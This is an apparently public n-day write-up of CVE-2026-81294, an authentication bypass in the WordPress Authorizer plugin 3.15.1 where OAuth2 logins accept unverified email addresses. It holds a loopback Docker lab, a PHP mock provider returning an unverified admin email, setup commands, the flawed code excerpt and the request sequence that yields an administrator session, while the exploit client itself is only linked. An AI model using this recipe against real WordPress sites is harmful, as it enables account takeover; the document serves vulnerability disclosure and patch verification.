Research/CVE-2026-81294
N-dayCVE-2026-81294CriticalPublic

CVE-2026-81294: WordPress Authorizer, unauthenticated RCE

Authorizer 3.15.1 GitHub OAuth2 takes emails[] without checking verified. Generic OAuth2 has the same hole. An unverified email that matches an admin is a WordPress session. 3.15.2 filters empty verified.

Name
CVE-2026-81294: WordPress Authorizer, unauthenticated RCE
Type
N-day analysis
CVE
CVE-2026-81294
CVE Risk
critical
Disclosure Status
public
Vendor
Paul Ryan
Affected
Authorizer (authorizer), all versions through 3.15.1; patched in 3.15.2
Published
19 Sept 2026
Updated
19 Sept 2026
Tags
n-day, wordpress, oauth2, auth-bypass, cwe-266, unauthenticated, rce

Unverified email is enough

I am @abraxas_null. The proof of concept is on GitHub: abraxas/CVE-2026-81294 (loopback client). The lab stack is lab/: Dockerfile, docker-compose.yml, docker-compose.override.yml. Authorized lab only. It talks to loopback.

CVE-2026-81294 (NVD, GHSA-xppg-27gw-vxcj, Patchstack) is unauthenticated privilege escalation in the WordPress plugin Authorizer 3.15.1, slug authorizer. CWE-266. 9.8 Critical. Patched in 3.15.2.

The advisory names GitHub emails[] without verified. That is custom_authenticate_oauth2 in 3.15.1: if GitHub has no public email, it GETs /emails and maps entry['email'] only. HTTP is GET /wp-login.php?external=oauth2. Generic OAuth2 has the same missing verification. An unverified address that matches an existing WordPress admin is wp_set_auth_cookie. That is RCE on WordPress.

The lab does not talk to github.com. It uses a loopback mock that returns email_verified: false for the admin address. 3.15.2 filters empty verified for GitHub and adds oauth2_require_verified_email for generic.

This is the map I used to get from a login page to a session that named the administrator. Isolated lab, loopback only. I am not publishing a GitHub OAuth app aimed at someone else's site. The stack is in the CVE repo so you can run it at home. The client is the repo above.

The lab (run this at home)

Source of truth is lab/ on GitHub. The Dockerfile pins wordpress:6.4-php8.2-apache. Compose adds mysql:8.0 and wordpress:cli. Port on loopback only. Bind 3.15.1 of the plugin next to compose as ./authorizer (SVN tag).

Dockerfile
# Loopback lab image pin for CVE-2026-81294. Full stack: docker-compose.yml
FROM wordpress:6.4-php8.2-apache
YAML
# CVE-2026-81294 local WordPress lab. Loopback only.
services:
  db:
    image: mysql:8.0
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
      MYSQL_ROOT_PASSWORD: root
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot"]
      interval: 5s
      timeout: 5s
      retries: 30
      start_period: 15s

  wordpress:
    image: wordpress:6.4-php8.2-apache
    ports:
      - "127.0.0.1:8088:80"
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
      WORDPRESS_DEBUG: "1"
      WORDPRESS_CONFIG_EXTRA: |
        define('WP_DEBUG_LOG', '/var/log/lab/debug.log');
        define('WP_DEBUG_DISPLAY', false);
    volumes:
      - wp_data:/var/www/html
      - ./authorizer:/var/www/html/wp-content/plugins/authorizer:ro
    depends_on:
      db:
        condition: service_healthy

  wpcli:
    image: wordpress:cli
    user: "33:33"
    volumes:
      - wp_data:/var/www/html
      - ./authorizer:/var/www/html/wp-content/plugins/authorizer:ro
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
    depends_on:
      wordpress:
        condition: service_started
    entrypoint: ["sleep", "infinity"]

volumes:
  wp_data:

docker-compose.override.yml only routes logs.

YAML
# App processes should log to stdout and/or /var/log/lab.
services:
  db:
    logging:
      driver: json-file
      options:
        max-size: "20m"
        max-file: "5"
    volumes:
      - ./logs/db:/var/log/lab
      - ./logs/db-mysql:/var/log/mysql
  wordpress:
    logging:
      driver: json-file
      options:
        max-size: "20m"
        max-file: "5"
    volumes:
      - ./logs/wordpress:/var/log/lab
      - ./logs/wordpress-apache:/var/log/apache2

The CVE needs OAuth2 enabled, a generic provider pointed at a loopback mock, admin email matching the unverified userinfo, and a probe that prints the logged-in display name.

PHP
<?php
/**
 * Lab fixture for Authorizer 3.15.1 (CVE-2026-81294).
 * Generic OAuth2 mock returns unverified admin email.
 */
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

add_action(
	'init',
	function () {
		$path = parse_url( $_SERVER['REQUEST_URI'] ?? '', PHP_URL_PATH );
		if ( '/oauth-mock/authorize' === $path ) {
			$redir = $_GET['redirect_uri'] ?? '';
			$state = $_GET['state'] ?? '';
			$join  = ( false === strpos( $redir, '?' ) ) ? '?' : '&';
			wp_redirect( $redir . $join . 'code=labcode&state=' . rawurlencode( $state ) );
			exit;
		}
		if ( '/oauth-mock/token' === $path ) {
			header( 'Content-Type: application/json; charset=utf-8' );
			echo wp_json_encode( array( 'access_token' => 'labtoken', 'token_type' => 'Bearer' ) );
			exit;
		}
		if ( '/oauth-mock/userinfo' === $path ) {
			header( 'Content-Type: application/json; charset=utf-8' );
			echo wp_json_encode(
				array(
					'email'          => 'lab@localhost.invalid',
					'email_verified' => false,
					'verified'       => false,
				)
			);
			exit;
		}
	},
	0
);

The full seed also sets auth_settings oauth2 generic URLs, admin display_name=POCWitness81294, and GET /?auth_lab=1 printing that name.

Bring-up from the CVE repo lab/:

Plain text
git clone https://github.com/abraxas/CVE-2026-81294
cd CVE-2026-81294/lab
svn export https://plugins.svn.wordpress.org/authorizer/tags/3.15.1 authorizer
docker compose up -d --force-recreate
docker compose exec -T wpcli wp core install \
  --url=http://127.0.0.1:8088 \
  --title='CVE-2026-81294 Lab' \
  --admin_user=admin \
  --admin_password=labadmin \
  --admin_email=lab@localhost.invalid \
  --skip-email
docker compose exec -T wpcli wp plugin activate authorizer
docker compose cp seed.php wpcli:/tmp/seed.php
docker compose exec -T wpcli wp eval-file /tmp/seed.php
python3 ../CVE-2026-81294-Abraxas-Labs.py

Keep PHPSESSID across the OAuth redirects. Do not publish the port off loopback. The proof of concept is written for 127.0.0.1:8088.

What the tree actually registers

authenticate runs custom_authenticate_oauth2 when external=oauth2. GitHub branch, 3.15.1, when the public email is empty:

PHP
$attributes['emails'] = array_filter( array_map(
    function ( $entry ) {
        return empty( $entry['email'] ) ? '' : $entry['email'];
    },
    (array) $provider->getParsedResponse( $request )
) );
$email = $attributes['emails'];

verified is dropped. Generic OAuth2 takes email from userinfo the same way. Then Authorizer looks up that address in WordPress and logs the user in.

3.15.2 filters empty($entry['verified']) for GitHub and adds oauth2_require_verified_email for generic. That is the patch. Update.

The 200 that was a login form

The first client I pointed at this was polite. It POSTed action=oauth2 at admin-ajax.php. Function names in the advisory are PHP methods. You get the WordPress login HTML. No cookie.

A few other ways to lose without learning anything:

  • Dropping PHPSESSID between authorize and callback. State check exits.
  • Token URL not reachable from PHP (the seed used 127.0.0.1 without the published port for token/userinfo so the container can talk to itself).
  • oauth2_email_not_verified on 3.15.2.
  • empty_username. Email did not map.
  • A reverse shell. Theatre. The witness is the display name after OAuth.

The tell is GET /?auth_lab=1 returning POCWitness81294 after the redirect chain. Login HTML without that string is a miss.

What I actually did

Treat the on-disk product as the spec. Patchstack named unverified GitHub emails. I read the GitHub /emails map, then ran the same missing check on generic OAuth2 against a loopback mock. Proof of concept: CVE-2026-81294-Abraxas-Labs.py.

Login, follow redirects, probe. GET /wp-login.php?external=oauth2 with a cookie jar. Follow 302s. GET /?auth_lab=1.

Witness in the body. POCWitness81294. If that string is present, Authorizer logged in the admin from an unverified email. That is the proof.

Last lab run, trimmed:

Plain text
oauth GET /wp-login.php?external=oauth2
follow 302
GET /?auth_lab=1
POCWitness81294
SUCCESS CVE-2026-81294

The client that produced it is on GitHub.

What this is not

It is not "OAuth2 is broken." GitHub's verified flag is there. This plugin did not read it. Generic providers that return email_verified: false were accepted the same way.

Update to 3.15.2. Re-run the loopback client against the patched build: the witness must not appear. A WAF signature is delay.

I am not going to print a GitHub OAuth app you can point at someone else's wp-login.php. The dropped verified field is the useful part. If you own the box, run the proof of concept against loopback.

Client bugs look like product bugs. A helper that shadows http.client never sends a packet. .recv() on an HTTPResponse is not .read(). I mention that once because it cost time and looked, for a minute, like the plugin was fine.

References